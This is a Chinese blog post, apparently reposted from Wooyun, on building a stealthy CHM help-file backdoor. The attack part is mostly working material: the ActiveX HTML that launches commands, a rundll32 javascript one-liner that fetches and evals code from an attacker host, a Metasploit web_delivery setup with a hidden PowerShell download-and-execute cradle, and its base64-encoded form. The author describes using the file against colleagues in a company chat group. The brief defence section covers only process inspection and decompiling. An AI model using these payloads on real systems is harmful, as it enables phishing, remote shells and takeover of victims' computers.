广西一站网网络技术集团有限公司,歙县建设银行网站,万网做的网站咋样,wordpress获取当前用户id0x00 简介 之前写过一篇关于客户端钓鱼的文章#xff1a;《使用powershell Client进行有效钓鱼》中#xff0c;在使用各个Client进行测试的过程中#xff0c;个人发现CHM文件是最好用的一个#xff0c;但是其缺点就是会弹黑框#xff0c;这样就会让被攻击者察觉。那么怎么… 0x00 简介 之前写过一篇关于客户端钓鱼的文章《使用powershell Client进行有效钓鱼》中在使用各个Client进行测试的过程中个人发现CHM文件是最好用的一个但是其缺点就是会弹黑框这样就会让被攻击者察觉。那么怎么让他不弹黑框呢那就是本文要介绍的内容啦~ 0x01 CHM 简介 在介绍怎么使用CHM来作为后门之前首先要知道CMH是什么东西。 CHMCompiled Help Manual即“已编译的帮助文件”。它是微软新一代的帮助文件格式利用HTML作源文把帮助内容以类似数据库的形式编译储存。CHM支持Javas cript、VBs cript、ActiveX、Java Applet、Flash、常见图形文件(GIF、JPEG、PNG)、音频视频文件(MID、WAV、AVI)等等并可以通过URL与Internet联系在一起。因为使用方便形式多样也被采用作为电子书的格式。 0x02 CHM 制作 CHM的制作方法很多。有多款工具可以使用这里就不在做详细的介绍了。本次测试使用了EasyCHM来制作CHM文件使用起来非常简单。 新建如下目录文件内容随意 打开EasyCHM新建-浏览。选择该目录。默认文件类型 点击确认即可看到预览的CHM文件 选择编译即可编译成CHM文件。 0x03 CHM Execute Command 14年的时候ithurricanept 在twitter上发了一个demo通过CHM运行计算器 利用代码如下 !DOCTYPE htmlhtmlheadtitleMousejack replay/titlehead/headbody
command exec
OBJECT idx classidclsid:adb880a6-d8ff-11cf-9377-00aa003b7a11 width1 height1
PARAM nameCommand valueShortCutPARAM nameButton valueBitmap::shortcutPARAM nameItem1 value,calc.exePARAM nameItem2 value273,1,1
/OBJECT
SCRIPT
x.Click();
/SCRIPT
/body/html将以上代码写入html置于工程目录进行编译生成CHM文件运行此文件弹出计算器 0x04 去除弹框 有测试过nishang Out-CHM 的同学会发现运行生成的CHM文件的时候会看到明显的弹框。就像 某个晚上突然脑洞了一下想到了一个好的方式来让他不显示弹框即结合使用JavaScript Backdoor。经过测试成功实现在不弹框的情况下获取meterpreter会话此次测试使用一个我修改过的python版 JSRat.ps1 地址为MyJSRat。使用方式详见 readme。 以下为完整的测试过程 1、结合CHM JSBackdoor 使用交互模式的JSRat server python MyJSRat.py -i 192.168.1.101 -p 8080访问 http://192.168.1.101:8080/wtf 获取攻击代码如下 rundll32.exe javascript:\..\mshtml,RunHTMLApplication ;document.write();hnew%20ActiveXObject(WinHttp.WinHttpRequest.5.1);h.Open(GET,http://192.168.1.101:8080/connect,false);try{h.Send();bh.ResponseText;eval(b);}catch(e){new%20ActiveXObject(WScript.Shell).Run(cmd /c taskkill /f /im rundll32.exe,0,true);}经过多次测试成功将以上命令写入chm其Html代码为 !DOCTYPE htmlhtmlheadtitleMousejack replay/titlehead/headbody
This is a demo ! br
OBJECT idx classidclsid:adb880a6-d8ff-11cf-9377-00aa003b7a11 width1 height1
PARAM nameCommand valueShortCutPARAM nameButton valueBitmap::shortcutPARAM nameItem1 value,rundll32.exe,javascript:\..\mshtml,RunHTMLApplication ;document.write();hnew%20ActiveXObject(WinHttp.WinHttpRequest.5.1);h.Open(GET,http://192.168.1.101:8080/connect,false);try{h.Send();bh.ResponseText;eval(b);}catch(e){new%20ActiveXObject(WScript.Shell).Run(cmd /c taskkill /f /im rundll32.exe,0,true);}PARAM nameItem2 value273,1,1
/OBJECT
SCRIPT
x.Click();
/SCRIPT
/body/html编译以后运行可以成功获取JS交互shell: 直接执行cmd /c command 是会有黑框的可以使用run来避免显示黑框。执行run以后输入 whoami e:\1.txt 之后通过read 来获取回显。2、获取meterpreter会话 此次测试获取meterpreter会话的方式是通过执行powershell命令直接获取当获取客户端JS 交互shell之后自动执行powershell命令获取meterpreter会话。具体操作如下 开启MSF web_delivery ~ msfconsole -Lq
msf use exploit/multi/script/web_delivery
msf exploit(web_delivery) set target 2
target 2
msf exploit(web_delivery) set payload windows/meterpreter/reverse_tcp
payload windows/meterpreter/reverse_tcp
msf exploit(web_delivery) set lhost 192.168.1.101
lhost 192.168.1.101
msf exploit(web_delivery) set lport 6666
lport 6666
msf exploit(web_delivery) set SRVPORT 8081
SRVPORT 8081
msf exploit(web_delivery) set uripath /
uripath /
msf exploit(web_delivery) exploit
[*] Exploit running as background job.
msf exploit(web_delivery)
[*] Started reverse TCP handler on 192.168.1.101:6666
[*] Using URL: http://0.0.0.0:8081/
[*] Local IP: http://192.168.1.101:8081/
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -c $nnew-object net.webclient;$n.proxy[Net.WebRequest]::GetSystemWebProxy();$n.Proxy.Credentials[Net.CredentialCache]::DefaultCredentials;IEX $n.downloadstring(http://192.168.1.101:8081/);装有powershell的客户端执行以下命令则可获取meterpreter会话 powershell.exe -nop -w hidden -c $nnew-object net.webclient;$n.proxy[Net.WebRequest]::GetSystemWebProxy();$n.Proxy.Credentials[Net.CredentialCache]::DefaultCredentials;IEX $n.downloadstring(http://192.168.1.101:8081/);由于存在特殊字符我们可以把以上代码编码为base64格式将以下代码存入power.txt $nnew-object net.webclient;
$n.proxy[Net.WebRequest]::GetSystemWebProxy();
$n.Proxy.Credentials[Net.CredentialCache]::DefaultCredentials;
IEX $n.downloadstring(http://192.168.1.101:8081/);执行以下命令 cat power.txt | iconv --to-code UTF-16LE |base64最终要执行的powershell命令为 powershell -ep bypass -enc IAAkAG4APQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AAoAIAAkAG4ALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsACgAgACQAbgAuAFAAcgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoAIABJAEUAWAAgACQAbgAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADEAMAAxADoAOAAwADgAMQAvACcAKQA7AA使用执行命令模式直接获取meterpreter会话 python MyJSRat.py -i 192.168.1.101 -p 8080 -c powershell -ep bypass -enc IAAkAG4APQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AAoAIAAkAG4ALgBwAHIAb测试过程中从运行CHM到获取meterpreter客户端无明显异常全程无黑框弹出获取到meterpreter会话如下图 3、是否被杀 可能很多人会问会不会被杀下面是virscan的查杀结果 http://r.virscan.org/report/6173ee9c62d29806bb84035a8f1738ba 0x05 利用场景 一张图说明让我猜猜你会不会点 注: 随便找了几个漏洞利用工具修改了文件名并不代表原作者分享的工具有问题。 0x06 实际测试 是用上述方式制作chm文件命名为一个比较有吸引力的名字比如在公司技术群发了一个名字为制作免杀后门.chm的文件实际测试结果如下图 成功获取多个人的meterpreter会话。 0x07 防御 目前我还没查到什么防御的姿势知道的小伙伴可以分享一下。最好就是提高个人安全意识对于这类文件多注意一下尽量别乱点如果非要点可以放到虚拟机里面。使用procexp.exe可以看到存在后门的chm文件会开启新的进程 对于碰到这种后门怎么溯源呢其实也很简单chm是可以反编译为html的。 使用windows自带的hh.exe 则可进行反编译。命令如下 C:\Users\evi1cg\Desktophh -decompile test poc.chm #test 为当前目录的test文件夹执行结果如下 0x08 小结 此次测试就是对一些已知的攻击手法进行结合结果是让此捆绑后门更加隐蔽近乎“完美”美中不足的是在文件开启的时候会出现短暂的卡顿。有时候小漏洞结合起来能造成大危害小手法结合起来也能成大杀器。本着分享的精神将此姿势介绍希望小伙伴们能免受其害。 0x09 参考 https://twitter.com/ithurricanept/status/534993743196090368https://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1http://drops.wooyun.org/tips/11764https://github.com/samratashok/nishang本文由evi1cg原创并首发于乌云drops 转载于:https://www.cnblogs.com/croso/p/5380318.html